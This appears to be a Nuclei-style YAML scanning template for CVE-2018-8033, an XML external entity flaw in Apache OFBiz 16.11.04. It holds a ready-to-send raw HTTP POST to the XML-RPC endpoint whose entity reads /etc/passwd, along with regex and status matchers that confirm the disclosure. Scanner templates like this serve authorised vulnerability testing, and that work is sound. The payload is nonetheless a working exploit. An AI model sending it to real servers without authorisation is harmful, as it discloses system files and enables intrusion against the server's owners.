37 lines
1014 B
YAML
37 lines
1014 B
YAML
id: CVE-2018-8033
|
|
|
|
info:
|
|
name: Apache OFBiz XXE
|
|
author: pikpikcu
|
|
severity: high
|
|
description: XXE injection (file disclosure) exploit for Apache OFBiz 16.11.04
|
|
tags: cve,cve2018,apache,ofbiz,xxe
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.50
|
|
cve-id: CVE-2018-8033
|
|
cwe-id: CWE-200
|
|
reference:
|
|
- https://lists.apache.org/thread.html/e8fb551e86e901932081f81ee9985bb72052b4d412f23d89b1282777@%3Cuser.ofbiz.apache.org%3E
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /webtools/control/xmlrpc HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
Accept-Language: en
|
|
Content-Type: application/xml
|
|
|
|
<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
part: body
|
|
- type: status
|
|
status:
|
|
- 200
|